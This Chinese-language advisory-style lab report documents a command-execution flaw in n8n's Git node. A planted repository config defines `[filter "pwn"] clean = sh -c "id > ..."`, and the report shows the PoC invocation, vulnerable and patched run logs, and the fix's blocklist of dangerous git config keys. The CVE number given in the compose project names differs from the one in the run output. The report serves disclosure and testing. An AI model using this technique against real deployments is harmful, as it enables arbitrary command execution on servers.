Git 节点用 -c 固定了它所知道的外部程序配置键
(core.sshCommand、core.fsmonitor、core.pager、diff.external、
credential.helper、core.gitProxy、gpg.program、init.templateDir),但从未
检查仓库自身的 .git/config 中的 content-filter 和
merge-driver 系列配置。一个定义了
[filter "pwn"]
clean = <command>
再加上匹配的 .gitattributes(* filter=pwn),就会让 git 在节点执行普通的 Add、Commit、Checkout 或 Pull 操作时执行 <command>。该命令以 n8n 进程用户(node,uid 1000)的身份运行。
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H< 1.123.73、>= 2.0.0 < 2.35.4、< 2.36.24c60d38f2a83("chore: Bundle/2.x (backport to release-candidate/2.36.x)")
→ packages/nodes-base/nodes/Git/GenericFunctions.ts 新增了
findBlacklistedKeys(),其中包含针对 filter.*.(clean|smudge|process)、
merge.*.driver、remote.*.(uploadpack|receivepack)、gpg.*.program、
core.askpass、core.editor、core.alternateRefsCommand、
gc.recentObjectsHook、hook.*.command、sequence.editor、
gpg.ssh.defaultKeyCommand、url.*.(insteadOf|pushInsteadOf) 的模式;
Git.node.ts 在 add/commit/checkout/pull/push 之前调用 validateGitConfig(),
并以 Repository Git config key '<key>' is not allowed 中止。攻击者必须能够将一个带有自选本地配置的仓库放到 Git 节点面前——例如导入/共享的检出、挂载卷上的项目仓库等。在本实验中,--prepare 正是将这样一个仓库植入容器内(作为工作流作者文件写入步骤的替代)。此后的一切操作都由已认证用户通过 n8n REST API 完成。
该节点只接受 ~/.n8n-files 下的仓库(restrictFileAccessTo 默认值),并拒绝匹配 .git 阻止模式的路径,因此实验仓库位于 /home/node/.n8n-files/pwn-repo。
cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve85165 -f docker-compose.2353.yml up -d # 2.35.3 -> :20001
docker compose -p poc-n8n-cve85165-fix -f docker-compose.2362.yml up -d # 2.36.2 -> :20003
n8nio/n8n:2.35.3 附带 [email protected](没有 findBlacklistedKeys)→
存在漏洞。n8nio/n8n:2.36.2 附带 [email protected](存在黑名单)→
已修复。请注意,2.36.1 Docker 镜像同样附带 [email protected],因此
该镜像同样不存在漏洞;2.35.3 是最接近的已发布存在漏洞的标签。
python3 n8n_poc.py --url http://127.0.0.1:20001 \
--container n8n-vuln-2353 --prepare --command 'id'
run_vulnerable_2.35.3.txt)[*] target : http://127.0.0.1:20001
[*] repo : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth : logged in as [email protected]
[*] workflow : vuCSuHLscbXUty8i (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 30
[*] git node : ok {"success": true}
[+] evidence read from container:
uid=1000(node) gid=1000(node) groups=1000(node)
=> PASS (CVE-2026-85168: git executed the repository-configured command as the n8n user)
exit=0
容器侧检查(side_effect_2.35.3.txt):
-rw-r--r-- 1 node node 48 Oct 24 14:01 /home/node/.n8n-files/pwn-repo/out.txt
uid=1000(node) gid=1000(node) groups=1000(node)
--- git config
[filter "pwn"]
clean = sh -c "id > /home/node/.n8n-files/pwn-repo/out.txt; cat"
run_patched_2.36.2.txt)[*] target : http://127.0.0.1:20003
[*] repo : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth : logged in as [email protected]
[*] workflow : PteOTvLgk4FC8M4Z (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 16
[*] git node : error Repository Git config key 'filter.pwn.clean' is not allowed
[!] no evidence file in container: cat: can't open '/home/node/.n8n-files/pwn-repo/out.txt': No such file or directory
=> FAIL (CVE-2026-85168: git config key rejected before the operation ran)
exit=1
两个目标上的仓库完全相同;只有 n8n 构建不同。
主要证据:由 GET /rest/executions/<id>?includeData=true 返回的工作流输出
(Git 节点的 {"success": true} 与拒绝错误)。次要证据(因为
命令的输出写入文件,而不是写入 HTTP 响应):通过
docker exec <container> cat <repo>/out.txt 读回证明文件——这就是 --container
步骤,在脚本中明确标记为实验侧操作。
| 文件 | 内容 |
|---|---|
n8n_poc.py | 仅使用标准库的 PoC(--url --email --password --command --repo-path --container --prepare --output) |
run_vulnerable_2.35.3.txt, run_patched_2.36.2.txt | 原始运行记录 |
evidence_vulnerable_2.35.3.json, evidence_patched_2.36.2.json | JSON 证据 |
side_effect_2.35.3.txt, side_effect_2.36.2.txt | 容器侧检查 |
docker_logs_2.35.3.txt, docker_logs_2.36.2.txt | 容器日志 |